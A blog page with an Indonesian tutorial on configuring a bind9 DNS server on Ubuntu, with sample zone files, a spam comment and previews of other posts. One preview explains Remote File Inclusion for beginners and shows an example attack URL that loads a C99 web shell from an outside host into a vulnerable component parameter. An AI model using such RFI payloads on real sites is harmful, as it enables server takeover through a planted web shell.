Langsung ke konten utama

Konfigurasi bind9 DNS Server Ubuntu

Berikut cara konfigurasi bind9 DNS Server di Ubuntu Server

edit file /etc/bind/named.conf.options

isinya kira-kira:

options {
    directory "/var/cache/bind";

    // If there is a firewall between you and nameservers you want
    // to talk to, you may need to fix the firewall to allow multiple
    // ports to talk.  See http://www.kb.cert.org/vuls/id/800113

    // If your ISP provided one or more IP addresses for stable 
    // nameservers, you probably want to use them as forwarders.  
    // Uncomment the following block, and insert the addresses replacing 
    // the all-0's placeholder.

     forwarders {
         203.130.208.18;
     };

    auth-nxdomain no;    # conform to RFC1035
    listen-on-v6 { any; };
};


edit file /etc/bind/named.conf.local
contoh isinya:

//
// Do any local configuration here
//

// Consider adding the 1918 zones here, if they are not used in your
// organization
//include "/etc/bind/zones.rfc1918";

zone "birucom.co.cc" {
        type master;
        file "/etc/bind/db.birucom";
};

zone "0.168.192.in-addr.arpa" {
        type master;
        file "/etc/bind/db.client";
};


buat file /etc/bind/db.birucom
contoh:
;
; BIND data file for local loopback interface
;
$TTL    604800
@    IN    SOA    birucom.co.cc. root.birucom.co.cc. (
            42
            604800
            86400
            2419200
            604800 )
;
@       IN      NS      ns01.birucom.co.cc.
@       IN      A       192.168.0.1
@    IN    A    10.1.0.1
@       IN      AAAA    ::1
www    IN    A    192.168.0.1
ns01    IN    A    192.168.0.1
$GENERATE 2-254 $.subnet192-168-0 IN A 192.168.0.$

buat file /etc/bind/db.client
contoh:
;
; BIND data file for local loopback interface
;
$TTL    604800
@    IN    SOA    birucom.co.cc. root.birucom.co.cc. (
            43
            604800
            86400
            2419200
            604800 )
;
@    IN    NS    ns01.birucom.co.cc.
1.0.168.192.in-addr.arpa. IN PTR ns01.birucom.co.cc.
$GENERATE 2-254 $.0.168.192.in-addr.arpa. IN PTR $.subnet192-168-0.birucom.co.cc.

restart DNS Server
/etc/init.d/bind9 restart

Selesai

artikel dikutip dari forum ngapak : http://www.ngapak.web.id/Thread-Konfigurasi-bind9-DNS-Server-Ubuntu


Komentar

  1. Hi there! I simply would like to give you a big thumbs up for your great info you have got right here on this post. I will be coming back to your site for more soon. Backpage alternative websites 2019 & Putlocker9 movies

    BalasHapus

Posting Komentar

Postingan populer dari blog ini

List RFI Bug Dork

Khusus buat newbie. Apa itu RFI?? RFI atau Remote File Inclusion adalah salah satu metode hacking dengan menginclude file. Tool yang sering dipakai adalah C99 shell injection atau R57 shell injection. Metodenya sangat sederhana. Ketika kita sudah mendapatkan target, kita hanya perlu menginclude file C99 atau R57 nya. sebagai contoh: kita mempunyai target http://domain-name.com/administrator/components/com_comprofiler/plugin.class.php?mosConfig_absolute_path= maka disini kita include file c99 nya, menjadi http://domain-name.com/administrator/components/com_comprofiler/plugin.class.php?mosConfig_absolute_path=http://domain-kita.com/c99.txt Jika berhasil maka kita akan dapat masuk ke dalam server target dengan c99 shell berikut beberapa list RFI Bug Dork. Ini hanya sekedar informasi, jadi bagi yang merasa memakai CMS dengan module-module yang masuk dalam list berikut, segera update module nya atau segera perbaiki bugs nya. Semoga bermanfaat. =====================

Format tanggal otomatis menggunakan javascript

Biasanya pada aplikasi-aplikasi php yang kita buat seringkali harus merubah dari format tanggal mysql ke format tanggal yang sesuai dengan keinginan kita. contohnya: <div>     <?php echo date('d F Y', strtotime($row['mysql_date'])); ?> </div> Nah kita bisa persingkat kode kita dengan menyisipkan sedikit javascript dan biarkan browser yang memprosesnya :) Pertama-tama yang kita butuhkan adalah: 1. jQuery 2. Moment JS <script type="text/javascript" src="path to jquery.js"></script> <script type="text/javascript" src="path to moment.js"></script> <script type="text/javascript"> if($('.format-date').length > 0){         $('.format-date').each(function(){             var ini = $(this);             var tgl = ini.text();             //moment.locale('id');             if(moment(tgl,'YYYY-MM-DD',true).isValid() || moment(tgl,&

Install Multiple PHP di Ubuntu 16.04

Terkadang saya membutuhkan versi PHP yang berbeda untuk beberapa project. Waktu di Ubuntu 14.04 saya masih bisa menggunakan versi PHP bawaan Ubuntu, waktu itu versi 5.5 namun setelah upgrade ke Ubuntu 16.04, ada sedikit masalah karena bawaan Ubuntu 16.04 menggunakan PHP versi 7.0 dimana beberapa project tidak bisa berjalan dengan baik di PHP 7. Akhirnya untuk mengatasi masalah berikut, jalan satu-satunya adalah mengcompile sendiri PHP versi 5.x di Ubuntu 16.04.  Saya sengaja compile dua versi PHP, 5.5 dan 5.6 untuk jaga-jaga kalau ternyata script tidak berjalan di PHP 5.6, saya bisa menggunakan versi 5.5. Beberapa artikel di Internet menyarankan untuk menggunakan fast-cgi agar bisa menjalankan banyak versi PHP sekaligus, namun karena spesifikasi laptop saya yang rendah, saya lebih menggunakan versi CLI dengan membuat PHP Switcher. Bagi temen-temen yang ingin menggunakan versi build PHP 5.5 dan 5.6 yang saya gunakan di Ubuntu 16.04 bisa menambahkan ppa:agungwidodo/tphp di source